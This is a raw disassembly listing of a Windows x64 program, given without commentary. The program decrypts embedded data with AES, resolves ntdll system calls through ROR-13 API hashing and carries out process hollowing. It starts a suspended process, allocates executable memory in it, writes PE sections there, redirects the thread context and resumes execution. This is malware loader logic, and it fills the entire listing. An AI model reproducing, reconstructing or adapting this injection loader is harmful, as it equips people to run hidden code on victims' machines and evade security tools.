call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140004a6a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004b20
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140004aa0
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004afb
mov eax, dword [rsp + 0x7c]
lea r9, [rbp + 0x1970]
lea r8, [rsp + 0x78]
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x4b8]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140004ad2
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004afb
movsxd rax, dword [rsp + 0x78]
lea rdx, [rbp + 0x4b8]
add rdx, rax
lea r8, [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140004b17
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
lea rdx, [0x140006e40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140004b56
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004c03
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140004b8c
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004bde
lea r9, [rbp + 0x19b0]
mov dword [rsp + 0x20], r14d
lea r8, [rsp + 0x7c]
mov rcx, rdi
lea rdx, [rbp - 0x58]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140004bb8
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004bde
movsxd rax, dword [rsp + 0x7c]
lea rdx, [rbp - 0x58]
add rdx, rax
lea r8, [rsp + 0x7c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140004bfa
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
lea rdx, [0x140006e40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x60]
lea rdi, [rbp + 0x1e00]
add rax, qword [rsp + 0x58]
mov ecx, 0x1208
mov rbx, qword [rbp - 0x58]
add rbx, qword [rsp + 0x58]
mov qword [rsp + 0x50], rax
xor eax, eax
rep stosb byte [rdi], al
mov rdi, 0xffffffffffffffff
lea rax, [rbp + 0x1bf0]
nop dword [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140004c40
add rdi, rdi
lea rdx, [rbp + 0x1bf0]
mov r8, rdi
lea rcx, [rbp + 0x1e00]
call sub.VCRUNTIME140.dll_memcpy
movsxd r13, dword [0x1400110fc]
mov eax, 0x20
mov word [rbp + rdi + 0x1e00], ax
mov rax, qword [rsp + 0x60]
movzx eax, word [rax]
mov word [rbp + rdi + 0x1e02], ax
lea rax, [0x1400110c0]
add r13, rax
cmp dword [r13], 0x4550
je 0x140004ca5
mov eax, 0xfffffffd
jmp 0x140005553
mov rax, qword [rsp + 0x68]
lea rdx, [rbp + 0x1e00]
mov qword [rsp + 0x48], r15
xor r12d, r12d
mov qword [rsp + 0x40], rax
mov esi, 1
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 4
xor ecx, ecx
mov dword [rsp + 0x20], esi
call rbx
test eax, eax
jne 0x140004cf1
mov eax, 0xfffffffc
jmp 0x140005553
lea rcx, [0x14000b778]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
mov r14d, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140004d90
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x7c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
inc r14d
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x32
sub edi, ecx
mov ecx, dword [rsp + 0x7c]
sub ecx, edi
mov dword [rsp + 0x78], ecx
mov ecx, dword [rsp + 0x78]
mov eax, dword [rsp + 0x7c]
add ecx, eax
mov dword [rsp + 0x7c], ecx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp r14d, edi
jl 0x140004d28
mov r14d, r12d
test rbx, rbx
je 0x140004e36
lea rcx, str.ZwGetContextThread
mov edi, r12d
mov al, 0x5a
nop dword [rax + rax]
ror edi, 0xd
lea rcx, [rcx + 1]
movsx eax, al
add edi, eax
movzx eax, byte [rcx]
test al, al
jne 0x140004db0
movsxd rax, dword [rbx + 0x3c]
xor r9d, r9d
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
mov r11d, dword [rcx + 0x24]
add r8, rbx
mov r12d, dword [rcx + 0x1c]
add r11, rbx
mov r10d, dword [rcx + 0x18]
add r12, rbx
test r10d, r10d
je 0x140004e24
mov edx, dword [r8]
xor eax, eax
add rdx, rbx
movzx ecx, byte [rdx]
test cl, cl
je 0x140004e14
ror eax, 0xd
lea rdx, [rdx + 1]
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
test cl, cl
jne 0x140004e01
cmp eax, edi
je 0x140004e28
inc r9d
add r8, 4
cmp r9d, r10d
jb 0x140004df2
xor eax, eax
jmp 0x140004e39
movzx ecx, word [r11 + r9*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
jmp 0x140004e39
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x4d0], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140004e79
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004f33
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, esi
je 0x140004eca
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004f2a
lea r9, [rbp + 0x4d0]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x7c]
mov rcx, rdi
lea rdx, [rbp + 0x19f0]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, esi
je 0x140004efb
lea rdx, str.Failed_to_encrypt_data
jmp 0x140004eac
movsxd r14, dword [rsp + 0x7c]
lea rdx, [rbp + 0x19f0]
add rdx, r14
lea r8, [rsp + 0x7c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, esi
je 0x140004f25
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140004eac
add r14d, dword [rsp + 0x7c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140004f69
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005013
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, esi
je 0x140004f9e
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004fee
lea r9, [rbp + 0x19f0]
mov dword [rsp + 0x20], r14d
lea r8, [rsp + 0x7c]
mov rcx, rdi
lea rdx, [rbp - 0x50]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, esi
je 0x140004fc9
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004fee
movsxd rax, dword [rsp + 0x7c]
lea rdx, [rbp - 0x50]
add rdx, rax
lea r8, [rsp + 0x7c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, esi
je 0x14000500a
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
lea rdx, [0x140006e40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r12, qword [rbp - 0x50]
xor r14d, r14d
add r12, rbx
mov qword [rsp + 0x58], r12
test rbx, rbx
je 0x1400050b9
lea rcx, str.ZwAllocateVirtualMemory
xor edi, edi
mov al, 0x5a
nop word [rax + rax]
ror edi, 0xd
lea rcx, [rcx + 1]
movsx eax, al
add edi, eax
movzx eax, byte [rcx]
test al, al
jne 0x140005040
movsxd rax, dword [rbx + 0x3c]
xor r9d, r9d
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
mov r11d, dword [rcx + 0x24]
add r8, rbx
mov r12d, dword [rcx + 0x1c]
add r11, rbx
mov r10d, dword [rcx + 0x18]
add r12, rbx
test r10d, r10d
je 0x1400050b4
mov edx, dword [r8]
xor ecx, ecx
add rdx, rbx
movzx eax, byte [rdx]
test al, al
je 0x1400050a4
ror ecx, 0xd
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x140005091
cmp ecx, edi
je 0x1400050fb
inc r9d
add r8, 4
cmp r9d, r10d
jb 0x140005082
mov r12, qword [rsp + 0x58]
xor eax, eax
sub rax, rbx
mov qword [rbp + 0x4d8], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000510e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400051c8
movzx ecx, word [r11 + r9*2]
mov eax, dword [r12 + rcx*4]
mov r12, qword [rsp + 0x58]
add rax, rbx
jmp 0x1400050bb
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, esi
je 0x14000515f
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400051bf
lea r9, [rbp + 0x4d8]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x7c]
mov rcx, rdi
lea rdx, [rbp + 0x1a30]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, esi
je 0x140005190
lea rdx, str.Failed_to_encrypt_data
jmp 0x140005141
movsxd r14, dword [rsp + 0x7c]
lea rdx, [rbp + 0x1a30]
add rdx, r14
lea r8, [rsp + 0x7c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, esi
je 0x1400051ba
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140005141
add r14d, dword [rsp + 0x7c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400051fe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400052a8
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
lea r9, [rbp + 0x18a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
lea rax, [rbp + 0x1890]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, esi
je 0x140005233
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140005283
lea r9, [rbp + 0x1a30]
mov dword [rsp + 0x20], r14d
lea r8, [rsp + 0x7c]
mov rcx, rdi
lea rdx, [rbp - 0x48]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, esi
je 0x14000525e
lea rdx, str.Failed_to_decrypt_data
jmp 0x140005283
movsxd rax, dword [rsp + 0x7c]
lea rdx, [rbp - 0x48]
add rdx, rax
lea r8, [rsp + 0x7c]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, esi
je 0x14000529f
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006c60
lea rdx, [0x140006e40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
add rbx, qword [rbp - 0x48]
lea rdi, [rbp - 0x30]
xor eax, eax
lea rdx, [rbp - 0x30]
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov rcx, qword [r15 + 8]
mov dword [rbp], 0x10000b
call r12
mov rcx, qword [r15]
test eax, eax
jns 0x1400052e7
mov edx, 0xfffffffb
call qword [0x140013170]
mov eax, 0xfffffffb
jmp 0x140005553
mov rax, qword [r13 + 0x30]
lea r9, [rbp + 0x4e0]
mov qword [rbp - 0x70], rax
lea rdx, [rbp - 0x70]
mov eax, dword [r13 + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
mov qword [rbp + 0x4e0], rax
mov dword [rsp + 0x20], 0x3000
call rbx
test eax, eax
js 0x14000551d
cmp qword [rbp - 0x70], 0
je 0x14000551d
lea rcx, [0x14000b778]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x14000536c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_handle_to_ntdll.dll
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x140005553
lea rdx, str.ZwWriteVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x504], eax
mov dword [rbp + 0x1884], 0xffffffff
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, esi
mov dword [rbp + rsi*4 + 0x504], eax
inc rsi
cmp rsi, 0x270
jb 0x1400053a0
lea rcx, [rbp + 0x500]
mov dword [rbp + 0x500], 0x270
call fcn.140008290
test r14, r14
jne 0x14000540a
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140001380
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xffffffff
jmp 0x140005553
mov r9d, dword [r13 + 0x54]
lea rax, [rbp + 0x4f8]
mov rdx, qword [rbp - 0x70]
lea r8, [0x1400110c0]
mov rcx, qword [r15]
mov qword [rsp + 0x20], rax
call r14
xor r12d, r12d
mov edi, r12d
cmp r12w, word [r13 + 6]
jae 0x14000548e
mov rsi, qword [rsp + 0x50]
mov ebx, r12d
movsxd rax, dword [0x1400110fc]
lea rcx, [0x1400110c0]
add rax, rbx
mov qword [rsp + 0x20], r12
mov r8d, dword [rax + rcx + 0x11c]
mov edx, dword [rax + rcx + 0x114]
add r8, rcx
mov r9d, dword [rax + rcx + 0x118]
mov rcx, qword [r15]
add rdx, qword [rbp - 0x70]
call rsi
test eax, eax
je 0x1400054c7
movzx eax, word [r13 + 6]
inc rdi
add rbx, 0x28
cmp rdi, rax
jb 0x140005440
mov rdx, qword [rbp + 0x58]
lea r8, [rbp - 0x70]
mov rcx, qword [r15]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call r14
test eax, eax
je 0x1400054dc
mov rcx, qword [r15]
mov edx, 0xfffffff7
call qword [0x140013170]
mov eax, 0xfffffff7
jmp 0x140005553
mov rcx, qword [r15]
mov edx, 0xfffffff8
call qword [0x140013170]
mov eax, 0xfffffff8
jmp 0x140005553
mov eax, dword [r13 + 0x28]
lea rdx, [rbp - 0x30]
add rax, qword [rbp - 0x70]
mov rcx, qword [r15 + 8]
mov qword [rbp + 0x50], rax
call qword [0x140013168]
mov rcx, qword [r15 + 8]
xor edx, edx
call qword [rsp + 0x70]
test eax, eax
je 0x140005365
mov rcx, qword [r15]
mov edx, 0xfffffff5
call qword [0x140013170]
mov eax, 0xfffffff5
jmp 0x140005553
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.ZwAllocateVirtualMemory_failed
call fcn.140006c60
mov rcx, rax
lea rdx, [0x140006e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [r15]
mov edx, 0xfffffffa
call qword [0x140013170]
mov eax, 0xfffffffa
mov r13, qword [rsp + 0x3128]
mov r12, qword [rsp + 0x3130]
mov rdi, qword [rsp + 0x3138]
mov rbx, qword [rsp + 0x3170]
mov r14, qword [rsp + 0x3120]
mov rsi, qword [rsp + 0x3140]
mov rcx, qword [rbp + 0x3010]
xor rcx, rsp
call fcn.140008f00
add rsp, 0x3148
pop r15
pop rbp
ret